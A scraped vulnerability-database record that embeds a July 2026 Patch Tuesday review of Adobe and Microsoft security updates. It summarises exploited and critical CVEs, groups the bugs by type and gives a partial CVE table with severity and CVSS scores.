(SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:56.349079Z"}, {"uuid": "8579e65f-5e89-46a1-a541-e208b653e440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  